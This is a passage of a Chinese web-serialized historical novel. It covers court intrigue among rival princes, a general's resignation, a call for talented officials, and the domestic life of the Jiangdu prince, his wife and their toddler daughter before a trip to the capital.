涉及女儿的事情,百里漾都想得很多。 人是需要同伴的。幼年时需要年龄相仿的玩伴,进学后需要学业上的同窗,年长后需要志同道合的同伴。阿瞳每天都有人围着转,但那些都是照顾她的大人,他们都可以陪伴阿瞳玩耍,但终究与同龄玩伴的陪伴是不一样的。 “可惜阿圆随表兄他们回湛京了,否则他们应当能玩到一起。” 百里漾说的是崔栋与卢氏之子阿圆,阿圆是兴业十五年九月生,比阿瞳大了不到一岁。阿瞳出生时,阿圆正是开始学走路的时候;等阿瞳稍微长大些了,阿圆就已经能够满地乱跑,一边叫着“阿爹打我”一边赶在亲爹追上来之前躲到亲娘卢氏身后寻求庇护。他经常对着襁褓里的阿瞳表达喜欢,虽然是以涂了阿瞳一脸口水的方式。 阿圆如果还在江都,这小兄妹俩应该能够玩到一起去。 可这也只是一种假设,到底是不成的。 今年朝献之后,东宫与椒房那边已然决定将崔栋从江都提调回来,告诉了百里漾与崔栋,让他们早早做准备。这事情长姐百里澄早在兴业十五年就给他们预先说过,他们这边自然不会有什么问题。故而,朝献后回江都,崔栋便开始着手准备回湛京之事,一面将他在江都的各项事务交接,一面打包行李家当。四月时,崔栋一家三口与百里漾一家告别之后,踏上了回湛京的路途。 后来崔栋回信报平安,里面提了一嘴阿圆,说这小子以为是出远门,一路上可兴奋了,转着个大脑袋东瞄西看,困了就睡,入夜之后醒来发现自己不是在家里的床榻上,直接嚎啕大哭,怎么哄都不行。后面是卢氏慢慢同他解释,他才知道他们要搬家的事情,问他们以后还会回来么? 百里漾看书信前面的内容时还在失笑,看到这里却不由得有些怅然。 阿圆是童言无忌,他还那么小,怎么会知道这一次回湛京对于父母以他自己意味着什么。或许以后他们还会再回来,但更多的只是暂时停留,却不会如同以前一般了。甚至以阿圆的年纪,他长大之后可能都不会记得他是在江都出生,还生活了一年多的时间。 百里漾从一开始就知道崔栋随他来江都就封只是一时之计,待江都的局面彻底在掌控之中后,崔栋早晚还是要回去的,回到崔大将军他们给他规划的道路之上。 无论是对于崔栋还是对于大将军府还是对于东宫来说,一个封国都尉还不够,在所有人共同谋划的大局里,崔栋需要回到湛京才能够发挥最大的作用。 谁都明白这个道理,百里漾也清楚这对于他们所有人来说都是最好的选择。他只是一时之间有些不习惯罢了,不习惯身边没有了一个能与他插科打诨的表兄,没有了一个遇事可以推心置腹、商量对策的人。 崔栋提调进京,接任他都尉之职的人是永定大营中的一名姓薄的营将,之前巡视边境之时百里漾与崔栋便注意到他了。此人年纪轻轻便武艺超绝,上阵杀敌皆是英勇冲锋在前,在百里漾下令肃清边境后,硬生生是靠着厚厚的军功簿升迁上来的。 江都国的都尉之职非同小可,薄天青此人进入百里漾的视线之后,百里漾并没有对他立即做出安排,而是在经过一段长时间对他的暗中观察之后,确定薄天青并没有勾连其他乱七八糟的人或势力后,才正式将他列为继任都尉的人选之一,但还仍需要观察与考验。 好在最后的结果是,薄天青通过了考察,成为了江都的新都尉。 江都上下对于新都尉的人选并没有异议,只是对于前后两任都尉都如此年轻感到惊叹。如今他们也是看出来了,年轻的大王喜欢任用年轻有为之士,看看那位傅大人,再看看现在的这位薄都尉,再加上这两年大王又任用了一批国学生,风向已然是很明显了。甚至有更多的人注意到,这些新任命提拔的年轻官员更多的是与世族没有多少关系之人,好些还是寻常出身。 百里漾才不怕他们发现这一点,即便是发现了又能如何呢? 话题扯远了,百里漾如今考虑的是给阿瞳找一个年龄相仿的玩伴之事,只是一时之间也想不出有谁家的孩子合适,而且孩子年纪也太小了,即便是有合适的,别家父母也不能放心让自家太小的孩子进宫陪阿瞳玩耍啊。 颜漪对于一碰到阿瞳的事情就忧思万千的百里漾无可奈何,甚至两人都齐齐躺在了床榻上,这人平躺着身体眼睛却是看着帐顶繁复好看的花纹出神,一看就知道还在想给阿瞳找玩伴的事情。她有点看不下去,于是倾身上前咬了百里漾的下巴一口。 百里漾吃痛,思绪迅速抽离,低头看了一眼“罪魁祸首”。 好吧,现在确实不是想女儿的时候。 百里漾眸光微深,看着眼前的人儿,果断顺从自己的心意,将身边人捞到了自己的怀里,以吻封缄。 …… 百里漾晾了褚之邑的乞退奏疏几日,最后一次在廷议上做了挽留之后,见褚之邑去意已决,便准了他的请求,给予了他赏赐,再封他一个很体面的荣誉官衔。 褚之邑当庭拜谢,面色极为自然。 百里漾也不光只看褚之邑这个当事人的神色表现,也注意了下褚之彦的,倒是也看不出什么来- 作者有话说:替换了。 第176章 势去 褚之邑没了定襄将军之位, 必定会在褚氏之内掀起不小的波澜,让本来就处于弱势的褚氏再一次被削弱了一把大的。褚氏之后会如何已经不在百里漾的考虑范围之内了,因为现在的褚氏已不能再对他造成什么阻碍了, 自然也不值得他将其看得太重了。 不过,百里漾倒是想知道定安王知晓此事后的反应,估计要气得跳脚。 定安王确实气得不轻,事实上他在褚之邑上书乞骸骨的次日就收到了消息,瞠目须张, 怒不可遏, “褚之彦不经我便辞去定襄将军之位, 他意欲何为?!” 定襄将军是何等重要的职位,那握着的可是兵权, 即便如今上下都有掣肘,但只要占着那个位子, 日后还怕寻不找合适的机会么?辞去定襄将军如此重大之事,褚氏竟敢不经他同意便擅自做出, 这是什么意思, 将他至于何地! 定安王收到这则消息时, 江都那边还没有正式允了褚之邑的请辞,但定安王这边谁都知道,开弓没有回头箭,这事根本没有转圜的余地。江都王本就处心积虑想着如何将褚之邑的定襄将军撸掉换上自己的人,如今褚之邑自己提出来了,无异于刚打瞌睡就送枕头,他要是不顺势准了褚之邑所请,定安王都会觉得他是一个傻子。 王国相注意着定安王的神色反应,面色踌躇, 似有犹豫,定安王瞧见了,语气愈加不耐,“有话就说,何以犹豫,迟疑不言?” “臣斗胆,恐有失言。”王国相在定安王愈加焦躁不虞的目光之中说出了自己的猜测,“如今情形,褚氏莫不是生了退却之心?” “褚氏敢尔!” “臣失言,请大王恕罪。”王国相立即请罪道,但依旧不动声色地观察着定安王的反应。 定安王在最初的大怒之后,怒容慢慢消散,转而面色沉凝。王国相见此便知道他是将自己的话听进去了。他辅佐定安王多年,多多少少是摸清了定安王大半脾性的。这“斗胆之言”自然也不是随意说的,若非定安王自己心中就有此想法,王国相也不敢说出口。 毕竟为定安王生下一儿一女的王妃是褚氏女,褚氏宗族长褚之彦亦是定安王的岳父,这话说了就有挑拨之嫌,哪里是轻易能够说出口的。可眼下王国相说了,定安王还是如此反应,在场之人都是精明之辈,皆在此刻选择缄口不言。 那么,定安王是怎么想的呢? 可以明确的一点是,定安王对于这些年愈发不中用的褚氏很不满意。原本在他的设想里,褚氏是他深植在江都、用以妨碍遏制百里漾掌权的一枚重要的棋子,甚至于他可以通过褚氏挖掉百里漾在江都的根基并转移到定安国这边来。他在自己的封国之外的江都国开辟了一个“战场”,远程遥控褚氏与百里漾对打,用尽最大力量给椒房一脉添堵。 设想很美好,奈何褚氏实在是不中用,才几年的时间就让百里漾逆风翻盘,将江都的世族痛打成了落水狗,一个个的在百里漾面前叫都不敢叫一声了。褚之彦更是废物,这几年让他做事十件有八件是不成的,还屡屡推诿,如今擅自主张,让褚氏彻底失了定襄将军如此重要的职位,这与废人有何异? 定安王本就是疑心颇重之人,之前本就心存猜疑,如今褚氏擅自将定襄将军之位拱手让人直接加重了他的疑心,自是更加怀疑褚氏想中途跳船。 这是定安王所不能容许的。 沉思许久之后,定安王眸光阴沉,吩咐道:“去信一封,问问褚之彦是何意?”他说的问问自然不是只要个缘由那么简单,而是质问褚氏了。 “江都王其势已成,再多措施恐已无大用。眼下宜当着眼于京城,勿失了轻重缓急。”这时有臣子出来劝道。 其实眼下江都的局势已经很明了了,江都王已掌全局,用褚氏掣肘江都王的计划是行不通了。对于已经失败且难以挽回之事,当放弃的应当及时撤出,以免浪费不必要的精力。最近皇帝又病了,这才是要紧之事,旁的都要靠边站。 定安王自然分得清楚轻重缓急,皇帝病了,这不是小事,他要适时且恰当地表现自己的孝心,在皇帝那里博取存在感,让皇帝知道还有这么一个儿子在千里之外关心着皇父。 皇帝最近又病了,本该如期举行的朝议又临时取消,让大臣有事禀于太子。这种情况在这几年愈发频繁,太子监国理事成为常态,大臣们渐渐也都习惯了。 一开始大臣们还担心繁重的政务会让太子本就孱弱的身体难以支撑,让身体状况雪上加霜,最后不堪重负,提心吊胆了一段时间,看太子虽然依旧虚弱,但精神头却是好的,瞧着并无大碍,他们提着的心也能渐渐放了下去。 随着太子监国的次数愈多,大臣们不可避免地将目光投注在一个身影上——栎阳长公主,一些大臣看着栎阳长公主频繁地出现在东宫,乃至出现在与朝臣议事时的太子身边,他们实在是坐不住了。 如何能让女子干预政事,这不是乱了阴阳么。 以前栎阳长公主只在东宫辅佐太子,打理东宫内务,大臣们一般情况下也不好伸手管到东宫去,栎阳长公主在东宫如何发号施令他们也管不着。可是现在不同,太子监理国事,怎能让栎阳长公主一介女子也参与进来。 那些大臣坐不住之后,纷纷上书给太子,或直白或委婉地提醒太子此事不妥当,栎阳长公主的手伸得太长了,给她放权不应当。 太子置之不理。 那些人无奈之下只好去打扰病中的皇帝。可皇帝哪有空看他们弹劾自己长女的奏疏,全都撂到了一边。眼看着所有的奏疏进入宣室殿之后就如泥牛入海,那些人无计可施,只能作罢。他们还安慰自己,“眼下只是权宜之计,不会长久的。” 百里澄如何不知道那些人的动作,听过之后只是嗤笑。她要做的事情远不止于此,如今不过只是一个开始而已。然而这仅仅就只是开了个头就让那些人如此不安。不得不说他们还真是敏感又敏锐啊。但他们又足够的心狠,一点点苗头就要想法设法掐断,不允许有任何一点可能挑战损害他们利益的势头出现。 当百里澄将那些这阵子没少上蹿下跳的大臣当做玩笑说给闻夏听时,闻夏一眼切中要害,“他们习惯了女子伏低做小,怎会愿意突然有一朝女子与他们平起平坐乃至同掌权柄。” 女子掌权,某种意义上等于是他们失权,权力这种东西一旦到手,没有人是甘愿再拱手让出去的。 见闻夏轻描淡写间就说出了自己心中所想,百里澄更为欢喜了,倾身上前一吻落在闻夏的侧脸上。 被成功“偷袭”的闻夏愣了一下,反应过来那一闪而逝的带着温热柔软的触感是怎么一回事之后,脸上当即就烧起来了,但对着百里澄那张明媚带笑的脸实在是说不出什么来。他怕自己一说话就又要被取笑脸皮薄,当然他的脸皮也确实薄就是了。 心满意足吃了一回豆腐的百里澄继续说起了正事,“不过这事又一次提醒我了,我们需要更多的‘自己人’。” 百里澄无疑是一个行动派,或者说她已经在心中谋划许久了。她转头就去找太子商议,没过几日太子便以监国的身份下颁了一道求贤令,招引天下有才德之士入仕为官,报效朝廷。 求贤令一出,瞬间让天下的目光汇集到了湛京。 这不是太子在监国期间第一次下颁求贤令了,上一次是在两年前,当年的盛况还历历在目。太子不拘一格求取贤才,当年选上的人几乎都入仕为官了,不少还得到了重用。如今求贤令再出,各地官府张榜告示,再经人口口相传,短时间内无数有才德之士纷纷涌向湛京。 不怪他们如此疯狂,只因这求贤令对于那些非官学出身、声名不显之人来说实是千载难逢的机会。 大衍朝廷如今选拔人才入仕的途径主要是两种,一是进入官学,顺利结业后以官学生的身份入仕;二则是延续了以前的察举制,由地方主官举荐入仕。此外还有一种便是征辟,往往是皇帝闻听何处有才德出众的高士亲自下诏召入朝廷,但征辟出现的次数是少之又少,通常也是有固定对象的,并不能普遍使用。 这三种选拔人才方式都有特定的群体,那么对于这些特定群体之外的人来说,这三条路都不适合他们,想要入仕做官虽不是难如登天,但希望也是很渺茫的。 求贤令的征引对象是天下有才德之士,这对于那些入仕无门之人来说,无异于雪中送炭,机会难得,错过了谁知道下次什么时候还能再有这样的好时机。 一时之间,湛京因为求贤令挤满了从天下各地而来之人。大家都被求贤令吸引去了全部的注意力,朝堂上亦是如此。各家都在扒拉着自己子弟,看看有谁能够通过走求贤令的路子入仕为官的,运气好的说不定能够直接入太子的眼。 定安王却是因为求贤令之事焦躁欲狂,因为在他看来,这求贤令无疑是东宫为了培植自己的势力搞出来的。 这几年随着太子监国的次数与时间增多,他在湛京拉拢的人脉以及私底下培植的势力都遭受到了一定的打击,不少人丟官去职,致使在朝堂上为他说话的人都少了。他的人少了,太子却是借着监国之名拉拢人心,如今人人都说东宫如何如何贤明,还有几个记得他百里洪- 作者有话说:更新啦,求评论。[可怜] 第177章 凉薄 眼下湛京的局势确实不利定安王, 这是外封藩王天然存在的劣势。 人在千里之外,鞭长莫及,湛京里发生点什么事再快也要三日才能够传到定安国。三日的时间, 太阳东升西落都走过三轮了,孩子都能生出三茬了。若有大事,等他们人从定安国快马加鞭回到湛京,可以说是什么黄花菜都凉了。 最好的办法是能够留在湛京。 可外封藩王怎么留京?只有让皇帝松口,下旨恩准。可皇帝偏心椒房, 东宫为了不让其他兄弟留京碍眼, 连亲弟弟都能一起押上。这几年不断有大臣在定安王的暗中授意之下向皇帝进言准藩王留京, 可是都被皇帝驳回了。 留京之事根本行不通。 这几年下来,定安王等人也愈发认清了一个事实, 太子在皇帝心里始终是皇位的第一继承人选,只要太子在, 定安王他们谁都不可能越过太子去。原先定安王想着以太子向来病弱难支的身体未必不会早逝。 只要太子没了,皇帝就必然要从剩下的儿子之中择选储君人选, 定安王觉得自己机会很大。为此, 定安王没少在私底下找算命先生为他测算, 也为太子测算,算他有没有天子命,算太子是不是早逝的命。测算得出的结果均令他十分满意。 定安王告诉自己得有耐心,小不忍则乱大谋,凡成大事者皆有非同一般的忍耐。他等啊等,等来了太子监国。监国事务繁重,会极大地消耗太子的精气神,太子定然坚持不住。可后续的发展让定安王傻眼了,太子哪里有一点被繁重政务压垮身体的样子, 不论是他朝献时所见到的太子,还是后续从湛京传回来的情报,看到的都是太子一切如常。 与此相对的是皇帝生病愈发频繁。 定安王可谓是心如死灰,他知道,成为储君从而在皇父手中接过皇位这条路,断了。那他就只能走另外一条路了,他需要蛰伏,为自己积蓄力量,需要等待时机的到来。思及此,定安王的心中的戾气更重。 怒归怒,但该做的事情不能不做,对湛京的经营也不能放弃。 王国相在看到定安王收拾好情绪之后,献策道:“东宫下颁求贤令的心思昭然若揭,但我们未必不能利用此事将人安插到他们那边。” 这是要在东宫那边安插内应了。 定安王稍稍沉思就通过了王国相的建言,“此事你去安排,做的干净些,别让他们发现了。” “是,大王。眼下还真有几个合适的人选。”王国相答道。 定安王胸怀远志,欲成大业,一直在私底下招揽能人异士、能为他所用之人。这次求贤令下,他们还真能挑出一些合适之人去参选,东宫那边契下几颗钉子,将来说不定能够发挥出意想不到的作用。 定安王质问的信很快就传到了褚之彦手中,看完信上满篇对他、对褚氏的质问与斥责之后,褚之彦陷入了很长一段时间的静默之中。 “父亲,大王在信中写了些什么?” 父亲良久的沉默不动让褚宗铭心中的不安与焦躁扩大,他按捺不住从褚之彦的手中抽走了那封信,细细看过之后,愤怒之下是掩盖不住的焦急,他看向自己的父亲,“大王怎么如此想我们,这些年褚氏的付出、我们的忠心他难道看不到么?!定是有奸人进了谗言,我们绝不能让那些奸人得逞了。” 褚宗铭一直都知道定安王身边的臣属幕僚之中有看不惯他们褚氏的人在,褚氏女占着王妃的位置不知道让多少人眼红,暗地里不知道有多少人想要取而代之。这次的事情一定是有不怀好意之人在离间褚氏与大王,实在可恶可恨。 褚宗铭越想越觉得此事要尽快解决了,于是主动请缨,“父亲,我即可便动身前往定安国说清楚此事。” “说清楚什么?”褚之彦沉声问道。 “当然是说清楚……”褚宗铭一愣,不明白父亲为什么会有此一问。问题摆在面前不是已经很清楚了么?只是他的话直接就被打断了。 “你要解释褚氏没有主动放弃定襄将军之位,还是要解释褚氏如何不能再如之前一般为定安提供助力?”褚之彦的语气几乎没有起伏,目光看向这个从小就精心培养的嫡长子,见他事到如今还如此“天真”,心里难免生出了失望以及对褚氏未来的担忧。 褚氏虽然比别的投靠拥戴定安王之人多了一层姻亲关系,但两边终究长久不在一处,为不使关系生分以及出于其他的一些顾虑,褚氏这边向来是嫡长子经常往返于定安国与江都之间,充当两边沟通联系之人。也因此,嫡长子是褚氏后辈之中与定安王接触最多的人,可他却看不清定安王几分真实的为人,更没有看清褚氏眼下处于一个什么样的艰难处境。 好在褚宗铭也不算是完全辜负褚之彦这些年来的教导与培养,他对上父亲那双幽沉的眼睛,还有那话,像被人抖头浇了一盆冷水,一瞬间从头冷到了脚心底。 是了,定安王倘若真的相信褚氏、相信他们父子,理解褚氏与他们父子的难处就不会这么快就令人送来这样一封满是斥责的信了。 伯父褚之邑突然辞去定襄将军之位固然打了他们父子一个措手不及,但他与父亲都清楚,这定襄将军的位子对于如今的褚氏来说是留不住的,甚至它对于伯父褚之邑、对于褚氏来说就像一个烫手山芋,留得越久越烫手,说不定最后还会引火烧身。因此,在辞去定襄将军之位这件事情里,他们最终都保持了缄默的态度。 褚宗铭想过这件事情会让定安王生气,解释的书信在第一时间就令人快马加鞭送往了定安国,然而更快的是定安王质问褚氏的书信。让人无比心寒的是,定安王在心中有意无意透露出来的对褚氏别有二心的质疑。 “褚氏落到如今的境地,别人不知为何,他百里洪还能不知么?!”褚宗铭重重地喘了几口大气,一把将信用力掼到地上,声音更是从牙齿间磨出来的。 褚之彦的无声更像是对此冷库且残忍的回答。 “父亲,我们该怎么办,褚氏又该怎么办?”不甘、愤怒……各种情绪快速变换而过,更多的是茫然和恐慌,褚宗铭最终选择向父亲褚之彦求助。 他当然是心寒的,心寒于定安王的冷酷绝情,可他又不甘心褚氏这些年地心血付之东流。再也没有几个人比他清楚这些年他们褚氏、他们父子为了扶持定安王付出了多少,光是私底下就不知道借着各种名义给定安王送去了多少好东西,甚至他们还为此搭上了一个嫡亲的女儿/妹妹。 褚宗铭无计可施,他破不开眼前褚氏的僵局,只好选择依靠父亲褚之彦。 可褚之彦又能有什么办法。难道真的是一步错步步错,他们当初选择将宝压在定安王身上本身就是一个错误?可若是不选定安王的话,他们还能够选谁? 褚之彦再次陷入了长久的默然之中,最终疲惫地闭了闭眼,说道:“我亲自手书一封信,令人交到定安王手上。” 他们褚氏、他们这一支在定安王身上已经付出太多了,如今收手如何甘愿。再怎么样他们褚氏女依旧是明旨册封的定安王妃,事情还没有到绝境。 可以褚氏如今的处境,再多的也做不了了,只能先走一步看一步了。 百里漾知道褚之邑乞退这件事会让褚氏与定安王之间生出不小的嫌隙,但没有想到定安王会那么快就发书信过来责问褚之彦了。 定安王这还没有过河就想拆桥的行为实在是令人很难评。这是眼看着褚氏已经发挥不出什么作用了就想将人踹到一边去,典型的用完就扔啊。也不知道其余那些拥护定安王的人见到褚氏如今的遭遇会不会感到心凉。 “阿爹,阿爹,球,球。”阿瞳呼唤的声音从身后传来,百里漾顿时就将褚氏的事情抛到了脑后,专心陪阿瞳玩藤球了。 眼下阿瞳正是活泼好动的时候,这些日子经过不断地藤球玩耍锻炼,她走路已经日渐稳当了,如今更是能抱着藤球追着陪她玩耍的人满殿跑。百里漾对此倍感自豪与欣慰,因为这是他陪着阿瞳玩耍出来的结果,现在阿瞳可喜欢找他这个阿爹玩藤球了。 父女俩这段时日得空了就在永延殿玩藤球。作为王宫中备受宠爱的唯一的王女,阿瞳还没有出生就有好多玩具,不少还是百里漾自己亲手做的,可惜它们大多被阿瞳喜爱的花期很短,玩了没几次就不感兴趣扔到一边了。 这个藤球是阿瞳最近的新宠,受阿瞳宠爱的时间也是最长的,逢人就想拉着陪她一起玩。父女俩玩的藤球游戏实在简单,永延殿中铺了柔软的垫子,两个人就在垫子上围着一只小小的藤球你追我赶,看谁被藤球碰到,被碰到的人就算是输。一个没什么意义乃至游戏规则都不明确的游戏父女俩玩得起劲,满殿都是他们的笑声。 笑声不可避免地传到了前殿正在会客的颜漪耳中,她面上不由露出清浅柔软的笑意。与她对坐的是高大娘子,自然也听到了内殿里的欢声笑语,不用猜也知晓里面父女二人的身份,心中不由羡慕江都王一家的和睦美满,这在一般的富贵人家都是很难能可贵的- 作者有话说:更新啦,求求评论。[可怜] 第178章 引荐 高大娘子今日来王宫见颜漪是为了交代上一季度的账目的。她如今已经将生意做到遍布江都了, 不仅早就恢复了高家大爷在世时的盛况,还远远超出,如今整个江都谁不知道她高大娘子的名声, 这人走出去交际应酬就是那些眼高于顶的世族都要给几分面子。 高家在高大娘子面前再也没有了倚老卖老、趾高气昂的嚣张气焰,反而还要好声好气、低眉折腰地求她办事。她也自然不是什么人都理的,对于往日那些曾经漠视、伤害过她的人,她不寻着机会报复回去已经是自己慈悲了,还敢凑到她面前找不自在。但高家之中也并非是那等自私冷漠之人, 对于曾经向她释放过善意的, 真有难处求上门来, 她也会帮一帮。 高大娘子深知自己能够如此快速走到今日的光景,离不开作为她背后倚仗的王妃。她于王妃而言是下位者, 她倚仗王妃的力量让生意在江都遍地开花,自然行事就不能触犯上位者的底线和禁忌, 所以她知分寸、从不逾越,让王妃对她一直都很满意。 她借了王妃的势, 自然要对王妃有所回报, 因此在最初她便答应给王妃她所有生意六成的利润。以她生意如今的规模来看, 六成的利润确实是多了。但事情不是这么看的,这时候做生意的背后若是没有靠山,遇上想要刁难你或是觊觎你的,早晚是要被人喝干血肉的。 若无王妃在背后,她走不到今日的地步,这六成的利润给得值。换作是别人,去问问他们,有一个算一个,若是给出六成的利润, 日后做生意便不会再有人无理为难,各处关节也很容易就能打通,他们是否愿意?那就不只是愿意的事情了,求爷爷告奶奶都求不到的好事,别说六成了,七成都拿得出来。 在这江都,多少人做梦都想要攀上王妃的门路,可惜连门槛都摸不着。高大娘子自己都是花费了一番心思才让自己入了王妃的眼,后来也是证明了自己的能力在王妃这里才算是稳当了的。 最让高大娘子欢喜的一点是,王妃收下了她上献的六成利润,并不将这些银钱作为自用的花销,而是将银钱扶老济幼、扶危济困之用。许多事情王妃不能亲自出面,便将事情交付与她去办。高大娘子欣喜于自己跟对了主子,渐渐萌生与王妃志同道合之感,更不愿辜负王妃所托,凡事皆尽心尽力去办了。 高大娘子自觉是领受了王妃之命办事的,事情进展得如何了自然要定期向王妃禀明,于是便有了她们隔一段时间见面交代账目之事。 颜漪对高大娘子的办事能力是很欣赏的,如今经过了几年的合作共谋,了解了她是一个怎么样的人之后,对她更是放心与信任。 账目看了,要禀的事情也说了,两人从禀事的氛围里脱离出来,品茗说话,气氛很有友人之间的自然融洽。如今两人皆有女儿,在这一方面实是很有话题来聊的。话说着说着就不免要说到各自的女儿身上。 “我记得你家大娘已有五六岁了,可读书了?”颜漪问道。她见过几回高大娘子的女儿,很乖巧懂事的一个小女孩。 “找了一名女先生教她念书,如今已经能写许多字了。”提到女儿,高大娘子一身的柔软气息,想起昨日女儿展示给自己看她写的已很有模样的大字,嘴上没有说眼睛看着自己一副求夸奖的样子,笑容愈发大了。 很显然,出身世族的高大娘子并不吃世族里教导女子的那一套,她自己就是那一套的受害人,如何能让女儿也吃她曾经吃过的那些苦、受曾经受过的委屈。在任何时候,女子都需要读书明理,也要如同男子一样接受相同的教育。 “在江都,这样的女先生怕是难找,好在也寻到了一名。”颜漪说道。 如今的世道,女子是不能如同男子一般入学堂读书的,各处官学也只招收男子。不少高门勋贵之家会为自家女儿聘请女先生居家教学,但教导的内容则以三从四德、女诫为主。这类型的女先生好找,但符合高大娘子标准的女先生就难寻了。 不过,虽然难寻,但总归是寻到了一名,多少也是值得欣慰之事。 颜漪来了兴趣,询问道:“那名先生是何方人士?”若是合适的话,未尝不能在之后阿瞳到了蒙学的年纪将人请入宫来做一名讲学师傅。 高大娘子听出了王妃的意动,细说了那名女先生的来历,安全起见,这些都是要细细查过一回的。随后她又夸赞了女先生的学识渊博,对一些问题常有独到的见解,很是难得,她有时跟着女儿旁听都能受到不少启发。 “如此难得之人,那你可要留住了。”颜漪笑道。 “不必王妃说,我都不舍得将人放走的。”高大娘子亦笑回道。 好先生难寻,为女儿计,好不容易遇着一个自然不能放走了。如今王妃又有意留待日后聘请,那更是不能将人放走了。 话赶话,既说到这个话题上来了,颜漪不由感慨道:“江都虽说不小,但对比整个大衍而言只是一隅罢了。” 这话却不是那么好接了,高大娘子敏感地察觉到王妃话中有深意,果不其然,王妃笑看她,问道:“飞红堂足迹已遍布江都,再想往上只能走出江都了。你可有意往江都之外的地方去看看?” 高大娘子对上王妃的眼眸,心突然狂跳起来。既然走出江都,还要向上,那就只有一个选择——湛京。她瞬间明白了王妃的意思,这是要把她向上举荐。江都王夫妇之上,最有可能的便是东宫与栎阳长公主了,直觉告诉她,王妃要将她举荐的对象是后者。 …… 等百里漾陪着玩藤球玩倦了说想阿娘要来找阿娘的小家伙过来时,与颜漪对坐谈天的高大娘子已经离开了。侍女上前将高大娘子饮用过的茶、具等物收走,要重新为百里漾奉上新的,被他摆手拒绝了。 “阿娘,阿瞳想、阿娘。”阿瞳本来趴在百里漾的肩膀上有些昏昏欲睡,但一双大眼睛在追寻到颜漪的身影之后瞬间睁大,透着欢喜,人也精神了,扭着小身子要到阿娘身边去。百里漾如了女儿的愿,将她放下,阿瞳一落地就转身扑进了阿娘的怀抱中,小嗓音甜甜地叫着“阿娘”。 颜漪有一会儿没有看见女儿了,也有些想念,抱着阿瞳,亲昵地与女儿脸对脸亲亲蹭蹭,惹得阿瞳“咯咯”直笑,开心得不行。 百里漾笑看着母女俩的亲密互动,随后问道:“阿姐的事你同高大娘子说了,她如何答复的?”高大娘子交上来的那些账目他是见过的,每次看到账簿上躺着的盈利数字都难免咋舌,不禁感慨高大娘子实是一个经商奇才,经营手段之高超令人叹为观止。 仅仅在这短短的几年时间之内,她便将手底下的生意版图几乎扩展到了江都全境。这其中固然有王妃在背后为她撑腰的原因,但这也与高大娘子本人的经营与策略离不开关系,换作是别人可做不到她这样的地步。 最令百里漾满意与欣慰的是,高大娘子并非唯利是图的纯粹商人,她与王妃在私底下做的那些利民之举他也看在眼里,心中对高大娘子是有些敬佩与欣赏的。 江都到底只是大衍一隅,如此能人反倒是被局限了发展,以高大娘子的本事还能够走得更远。可这再往上走就只有湛京了。 因此在王妃向他透露出要将高大娘子引荐给长姐百里澄时,百里漾只是思索过后便同意了。他当时对王妃说道:“高大娘子如此奇女子,我想阿姐与她必定有不少话题可说。” 长姐用人的眼光颇为挑剔,可百里漾知道如高大娘子这样的女子一定能够入她的眼,因此他对引荐之事并不担心。 颜漪笑道:“她应下了,只说江都的事务需要交接,务得择出一名合适之人在她离开之后去管着江都的这些摊子。” 人往高处走,水往低处流,以高大娘子的能力与志向,若是有机会她必然是向往外面更广阔的天地的。只是应下的同时她也没有忘了如今的靠山江都王夫妇,方才的谈话之中也透露了要选定一个令他们信任满意之人执掌她留在江都的产业。 高大娘子向来是如此知情识趣,与她说话时总是令人格外舒心。 “眼下距离朝献还有两、三月,足够她理清江都的产业与各项事了,届时可以随我们一道去往湛京。”百里漾点头,算着时间说道。 “干、干净?”小阿瞳窝在阿娘的怀里睁着纯洁无暇的大萌眼听着父母说话,她自然是听不懂的,但阿爹阿娘忙着说话这么久都没有搭理她一下,小家伙就忍不住要弄出点动静来寻求关注了。 果不其然,她一开口,百里漾与颜漪齐齐将注意力转移到了她的身上,听着她用着小嗓音重复他们说的话,还说不利索,不由都笑了。 百里漾捏捏她肉乎乎的小胖手,纠正道:“不是干净,是湛、京。”后面两个字特意用了很缓慢却清晰的语调重复。 阿瞳是个聪慧的孩子,重复了两边就学会了,然后问他们湛京是什么。 “湛京啊。”百里漾话里有慨叹,也在想着如何给阿瞳解释这个词汇能够让她理解,他还没有想出来,与身边的王妃对视了一眼。 颜漪莞尔,回答了女儿的问题,她说:“湛京是一个很美好的地方,我与你阿爹都在那里出生长大,我们的爹娘也就是阿瞳的祖父母、外祖父母他们都在那里。”- 作者有话说:更新啦,求评论[可怜] 第179章 阿瞳的第一次进京…… 百里漾与颜漪都曾经向阿瞳说过一些亲人的存在, 但因为平日里从未接触过且年纪小记不住,如今面对父母所说的祖父母、外祖父母自然呈现出一种懵懂迷茫的状态。以她现在的小脑袋瓜思考不来这么复杂的问题,也想象不出祖父母、外祖父母是个什么样子, 但她用力思考以至于小眉毛都快扭到一起的萌样成功惹笑了两个大人。 算着快到平日阿瞳午睡的时间了,百里漾笑着抱起女儿,与王妃一同朝内殿走去,边走边说道:“阿瞳还没有见过他们,等过段日子就能见到了, 他们可想见一见阿瞳了。” 阿瞳出生于兴业十六年六月初六, 当年的朝献进京时因她还太小, 小小的婴孩受不住路上的颠簸,百里漾就没有将她带去湛京, 而是让王妃留在江都照顾女儿,自己一人进京朝献。帝后等人早早知晓了阿瞳的降生, 固然心中很想见见孙女,但也知道那年是见不到的, 心中多少是有些遗憾的。秉承着这份遗憾与对阿瞳降生的欢喜, 这些阿瞳的至亲们一连赏赐了许多好物什给未曾谋面的孙女, 让百里漾回江都时带着一车有一车的赏赐满载而归。 等阿瞳周岁时,更有从湛京而来的天使带来了帝后赐给孙女的长命锁、玉如意等物,也有太子与栎阳长公主等长辈给她捎来的周岁礼物。他们出手之大方,以至于阿瞳一个年纪轻轻的小小孩光靠收礼就坐拥自己的小金库了。 今年年底的进京朝献,百里漾是必然要带着阿瞳去的,她都一岁多了,也该让她去见一见她的祖父母、外祖父母们这些至亲长辈了。 百里漾一路说着帝后等人有多盼着见到阿瞳这个孙女,让阿瞳心里对他们先有一个粗浅的印象,为日后的见面先打下一个好的基础。阿瞳窝在父亲充满安全感的怀抱里困意逐渐上涌, 她的精力在之前玩藤球的时候就已经消耗得差不多了,眼下又到了午睡的时间,耳边伴着百里漾轻柔平和的声音,等被塞入被窝里时,她已然是睡着了。 静静看着女儿酣睡的面容良久,百里漾与颜漪相视一笑,相携退出了内殿。 十二月,一年之末,诸侯王奉诏入京。 因为考虑到阿瞳年纪小又是第一次出远门,百里漾特意提前去五日的时间进京,宁可在路上走得慢些,也不能让这小家伙半路出点什么意外。但意外还是来了,头一次出远门的阿瞳晕马车,头一次还兴奋着要看着这个也要看看那个的小家伙到晚上就蔫巴了,恹恹地趴在母亲怀里不想动弹一点,可怜兮兮的模样让百里漾万分着急。 